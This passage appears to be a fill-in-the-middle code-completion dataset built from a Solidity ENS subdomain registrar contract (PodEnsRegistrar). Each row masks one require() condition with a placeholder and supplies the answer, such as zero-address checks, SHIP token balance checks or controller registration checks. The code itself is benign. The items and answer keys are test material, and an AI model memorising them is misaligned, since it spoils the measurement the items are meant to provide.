import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
require(<FILL_ME>)
_;
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| controllerRegistry.isRegistered(msg.sender)||owner()==msg.sender,"sender must be controller/owner" | 419,934 | controllerRegistry.isRegistered(msg.sender)||owner()==msg.sender |
"Invalid address" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
require(<FILL_ME>)
require(address(resolverAddr) != address(0), "Invalid address");
require(address(_reverseRegistrar) != address(0), "Invalid address");
require(
address(controllerRegistryAddr) != address(0),
"Invalid address"
);
require(node != bytes32(0), "Invalid node");
require(address(inviteTokenAddr) != address(0), "Invalid address");
ens = ensAddr;
resolver = resolverAddr;
controllerRegistry = controllerRegistryAddr;
rootNode = node;
reverseRegistrar = _reverseRegistrar;
inviteToken = inviteTokenAddr;
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| address(ensAddr)!=address(0),"Invalid address" | 419,934 | address(ensAddr)!=address(0) |
"Invalid address" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
require(address(ensAddr) != address(0), "Invalid address");
require(<FILL_ME>)
require(address(_reverseRegistrar) != address(0), "Invalid address");
require(
address(controllerRegistryAddr) != address(0),
"Invalid address"
);
require(node != bytes32(0), "Invalid node");
require(address(inviteTokenAddr) != address(0), "Invalid address");
ens = ensAddr;
resolver = resolverAddr;
controllerRegistry = controllerRegistryAddr;
rootNode = node;
reverseRegistrar = _reverseRegistrar;
inviteToken = inviteTokenAddr;
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| address(resolverAddr)!=address(0),"Invalid address" | 419,934 | address(resolverAddr)!=address(0) |
"Invalid address" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
require(address(ensAddr) != address(0), "Invalid address");
require(address(resolverAddr) != address(0), "Invalid address");
require(<FILL_ME>)
require(
address(controllerRegistryAddr) != address(0),
"Invalid address"
);
require(node != bytes32(0), "Invalid node");
require(address(inviteTokenAddr) != address(0), "Invalid address");
ens = ensAddr;
resolver = resolverAddr;
controllerRegistry = controllerRegistryAddr;
rootNode = node;
reverseRegistrar = _reverseRegistrar;
inviteToken = inviteTokenAddr;
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| address(_reverseRegistrar)!=address(0),"Invalid address" | 419,934 | address(_reverseRegistrar)!=address(0) |
"Invalid address" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
require(address(ensAddr) != address(0), "Invalid address");
require(address(resolverAddr) != address(0), "Invalid address");
require(address(_reverseRegistrar) != address(0), "Invalid address");
require(<FILL_ME>)
require(node != bytes32(0), "Invalid node");
require(address(inviteTokenAddr) != address(0), "Invalid address");
ens = ensAddr;
resolver = resolverAddr;
controllerRegistry = controllerRegistryAddr;
rootNode = node;
reverseRegistrar = _reverseRegistrar;
inviteToken = inviteTokenAddr;
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| address(controllerRegistryAddr)!=address(0),"Invalid address" | 419,934 | address(controllerRegistryAddr)!=address(0) |
"Invalid address" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
require(address(ensAddr) != address(0), "Invalid address");
require(address(resolverAddr) != address(0), "Invalid address");
require(address(_reverseRegistrar) != address(0), "Invalid address");
require(
address(controllerRegistryAddr) != address(0),
"Invalid address"
);
require(node != bytes32(0), "Invalid node");
require(<FILL_ME>)
ens = ensAddr;
resolver = resolverAddr;
controllerRegistry = controllerRegistryAddr;
rootNode = node;
reverseRegistrar = _reverseRegistrar;
inviteToken = inviteTokenAddr;
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| address(inviteTokenAddr)!=address(0),"Invalid address" | 419,934 | address(inviteTokenAddr)!=address(0) |
"safe must have SHIP token" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
if (state == State.closed) {
revert("registrations are closed");
}
if (state == State.onlySafeWithShip) {
// This implicitly prevents safes that were created in this transaction
// from registering, as they cannot have a SHIP token balance.
require(<FILL_ME>)
inviteToken.burn(podSafe, 1);
}
if (state == State.onlyShip) {
// Prefer the safe's token over the user's
if (inviteToken.balanceOf(podSafe) > 0) {
inviteToken.burn(podSafe, 1);
} else if (inviteToken.balanceOf(podCreator) > 0) {
inviteToken.burn(podCreator, 1);
} else {
revert("sender or safe must have SHIP");
}
}
bytes32 node = keccak256(abi.encodePacked(rootNode, label));
require(
controllerRegistry.isRegistered(msg.sender),
"controller not registered"
);
require(ens.owner(node) == address(0), "label is already owned");
_register(label, address(this));
resolver.setAddr(node, podSafe);
return address(reverseRegistrar);
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| inviteToken.balanceOf(podSafe)>0,"safe must have SHIP token" | 419,934 | inviteToken.balanceOf(podSafe)>0 |
"controller not registered" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
import "lib/ens-contracts/contracts/resolvers/Resolver.sol";
import "../interfaces/IControllerRegistry.sol";
import "../interfaces/IInviteToken.sol";
import "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
/**
* A registrar that allocates subdomains to the first person to claim them.
*/
contract PodEnsRegistrar is Ownable {
modifier onlyControllerOrOwner() {
}
enum State {
onlySafeWithShip, // Only safes with SHIP token
onlyShip, // Anyone with SHIP token
open, // Anyone can enroll
closed // Nobody can enroll, just in case
}
ENS public ens;
Resolver public resolver;
ReverseRegistrar public reverseRegistrar;
IControllerRegistry controllerRegistry;
bytes32 rootNode;
IInviteToken inviteToken;
State public state = State.onlySafeWithShip;
/**
* Constructor.
* @param ensAddr The address of the ENS registry.
* @param node The node that this registrar administers.
*/
constructor(
ENS ensAddr,
Resolver resolverAddr,
ReverseRegistrar _reverseRegistrar,
IControllerRegistry controllerRegistryAddr,
bytes32 node,
IInviteToken inviteTokenAddr
) {
}
function registerPod(
bytes32 label,
address podSafe,
address podCreator
) public returns (address) {
if (state == State.closed) {
revert("registrations are closed");
}
if (state == State.onlySafeWithShip) {
// This implicitly prevents safes that were created in this transaction
// from registering, as they cannot have a SHIP token balance.
require(
inviteToken.balanceOf(podSafe) > 0,
"safe must have SHIP token"
);
inviteToken.burn(podSafe, 1);
}
if (state == State.onlyShip) {
// Prefer the safe's token over the user's
if (inviteToken.balanceOf(podSafe) > 0) {
inviteToken.burn(podSafe, 1);
} else if (inviteToken.balanceOf(podCreator) > 0) {
inviteToken.burn(podCreator, 1);
} else {
revert("sender or safe must have SHIP");
}
}
bytes32 node = keccak256(abi.encodePacked(rootNode, label));
require(<FILL_ME>)
require(ens.owner(node) == address(0), "label is already owned");
_register(label, address(this));
resolver.setAddr(node, podSafe);
return address(reverseRegistrar);
}
function getRootNode() public view returns (bytes32) {
}
/**
* Generates a node hash from the Registrar's root node + the label hash.
* @param label - label hash of pod name (i.e., labelhash('mypod'))
*/
function getEnsNode(bytes32 label) public view returns (bytes32) {
}
/**
* Returns the reverse registrar node of a given address,
* e.g., the node of mypod.addr.reverse.
* @param input - an ENS registered address
*/
function addressToNode(address input) public returns (bytes32) {
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function register(bytes32 label, address owner)
public
onlyControllerOrOwner
{
}
/**
* Register a name, or change the owner of an existing registration.
* @param label The hash of the label to register.
*/
function _register(bytes32 label, address owner) internal {
}
/**
* @param node - the node hash of an ENS name
*/
function setText(
bytes32 node,
string memory key,
string memory value
) public onlyControllerOrOwner {
}
function setAddr(bytes32 node, address newAddress)
public
onlyControllerOrOwner
{
}
function setRestrictionState(uint256 _state) external onlyOwner {
}
}
| controllerRegistry.isRegistered(msg.sender),"controller not registered" | 419,934 | controllerRegistry.isRegistered(msg.sender) |
Subsets and Splits